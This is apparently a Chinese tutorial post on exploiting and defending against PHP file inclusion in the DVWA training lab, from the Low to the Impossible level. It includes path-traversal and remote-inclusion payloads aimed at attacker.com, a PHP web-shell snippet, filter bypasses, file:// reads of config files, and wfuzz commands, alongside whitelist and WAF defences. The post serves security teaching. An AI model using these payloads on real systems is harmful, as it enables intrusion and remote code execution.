DVWA靶场实战:手把手教你复现File Inclusion漏洞(从Low到Impossible)

📅 2026/7/1 6:40:41
DVWA靶场实战:手把手教你复现File Inclusion漏洞(从Low到Impossible)
DVWA靶场实战从零攻防File Inclusion漏洞全解析在网络安全领域文件包含漏洞File Inclusion长期占据OWASP Top 10榜单其危害性在于可能引发服务器敏感信息泄露甚至远程代码执行。DVWADamn Vulnerable Web Application作为经典的漏洞演练平台为学习者提供了从低到高四个安全等级的实战环境。本文将带你深入File Inclusion漏洞的攻防世界通过逐级突破DVWA的Low到Impossible四个难度级别掌握漏洞原理、利用手法及防御策略。1. 环境准备与漏洞原理精要1.1 DVWA环境配置要点在开始实战前确保你的DVWA环境已正确配置# 检查PHP配置文件关键参数 php -i | grep -E allow_url_include|allow_url_fopen这两个参数分别控制PHP是否允许包含远程文件和打开URL资源。在Low级别练习时需要确认allow_url_includeOn。若使用XAMPP或PHPStudy修改路径通常为php.ini路径示例 XAMPP - /xampp/php/php.ini PHPStudy - /phpstudy_pro/Extensions/php/php.ini注意实验结束后务必关闭这些危险配置生产环境应始终保持allow_url_includeOff1.2 文件包含漏洞核心机制文件包含漏洞主要源于PHP的四个包含函数函数执行特性错误处理include()动态包含指定文件仅警告脚本继续执行require()静态包含指定文件致命错误停止执行include_once()同include避免重复包含同includerequire_once()同require避免重复包含同require漏洞触发典型场景未过滤用户输入的包含路径配置文件可被外部修改日志文件等可预测路径的资源存在2. Low级别无防护的完全突破2.1 基础文件读取实战Low级别的源码毫无防护?php $file $_GET[page]; ?此时可直接利用路径遍历读取系统文件http://localhost/DVWA/vulnerabilities/fi/?page../../../../etc/passwd常见敏感文件路径清单Windows系统C:\Windows\System32\drivers\etc\hostsC:\xampp\htdocs\config.inc.phpLinux系统/etc/passwd/var/log/apache2/access.log2.2 远程代码执行实战当allow_url_include开启时可构造远程包含# 准备恶意脚本evil.txt with open(evil.txt, w) as f: f.write(?php system($_GET[cmd]); ?)访问URL触发http://victim.com/fi/?pagehttp://attacker.com/evil.txtcmdid重要防御除关闭allow_url_include外还应设置open_basedir限制PHP可访问目录3. Medium级别绕过基础过滤3.1 源码分析与过滤逻辑Medium级别增加了基础过滤$file str_replace([http://,https://], , $file); $file str_replace([../,..\\], , $file);可通过以下方式绕过路径遍历使用..././组合page..././..././etc/passwd双写绕过page....//....//etc/passwd远程包含HTTP协议大小写PagehTtp://attacker.com/evil.txt使用其他协议Pageftp://attacker.com/evil.txt3.2 实战绕过演示# 路径遍历绕过 http://victim.com/fi/?page..././..././etc/passwd # 远程包含绕过 http://victim.com/fi/?pageHtTp://attacker.com/evil.txt4. High级别协议限制与高级绕过4.1 源码深度审计High级别采用fnmatch函数限制if(!fnmatch(file*, $file) $file ! include.php) { die(ERROR: File not found!); }关键突破点仅允许包含file*模式的文件可利用file://协议读取本地文件4.2 file协议利用实战构造file协议payloadhttp://victim.com/fi/?pagefile:///var/www/html/config.phpWindows系统示例http://victim.com/fi/?pagefile:///C:/xampp/htdocs/dvwa/config.inc.php协议利用要点file协议需要绝对路径且Windows路径需注意反斜杠转义5. Impossible级别白名单防御体系5.1 白名单实现原理Impossible级别采用严格白名单$allowed [include.php, file1.php, file2.php, file3.php]; if(!in_array($file, $allowed)) { die(ERROR: File not found!); }防御特点硬编码允许包含的文件列表即使攻击者能上传恶意文件也无法包含完全杜绝路径遍历可能性5.2 安全开发最佳实践安全文件包含实现方案$allowed [ home ./pages/home.php, about ./pages/about.php ]; if(isset($_GET[page]) array_key_exists($_GET[page], $allowed)) { include($allowed[$_GET[page]]); } else { include($allowed[home]); }防御措施多维组合输入验证白名单控制允许包含的文件禁止用户输入直接作为包含路径服务器配置# Apache配置示例 php_admin_value allow_url_include Off php_admin_value open_basedir /var/www/html:/tmp文件系统权限# 设置web目录不可写 chown -R root:www-data /var/www/html chmod -R 750 /var/www/html6. 漏洞检测与自动化工具6.1 手工检测方法论系统化检测流程测试基础包含?page../../../../etc/passwd ?pagehttp://test.com/shell.txt尝试各种绕过技术编码绕过%2e%2e%2f代替../特殊字符....//、..././检查日志污染?page/var/log/apache2/access.log测试临时文件包含?page/tmp/sess_[sessionid]6.2 自动化工具使用安全工具对比工具功能特点适用场景Burp Suite可定制化爬虫漏洞扫描全面审计Wfuzz路径爆破与模糊测试目录枚举LFI Suite专攻文件包含漏洞快速检测典型命令示例# 使用wfuzz爆破路径 wfuzz -c -w /path/to/wordlist.txt http://target.com/page.php?fileFUZZ # LFI Suite基础扫描 python lfi.py -u http://target.com/vuln.php?page7. 企业级防御架构设计7.1 纵深防御体系多层防护策略网络层WAF规则配置如ModSecuritySecRule ARGS pm .. ../ id:1001,deny,msg:Path Traversal Attempt系统层文件系统沙箱SELinux/AppArmor配置应用层安全包含函数封装function safe_include($file) { $base /var/www/safe_dir/; $path realpath($base . $file); if(strpos($path, $base) 0 file_exists($path)) { include $path; } }7.2 安全开发生命周期SDL关键控制点需求阶段明确文件包含业务需求制定安全包含规范设计阶段采用白名单机制设计文件沙箱环境实现阶段使用安全包含库自动化代码审计测试阶段包含漏洞专项测试Fuzz测试覆盖在真实企业环境中我们曾遇到通过精心构造的php://filter链式攻击绕过常规防御的情况最终通过组合realpath()检查和内容签名验证才彻底解决。这提醒我们安全防御需要层层递进没有银弹解决方案。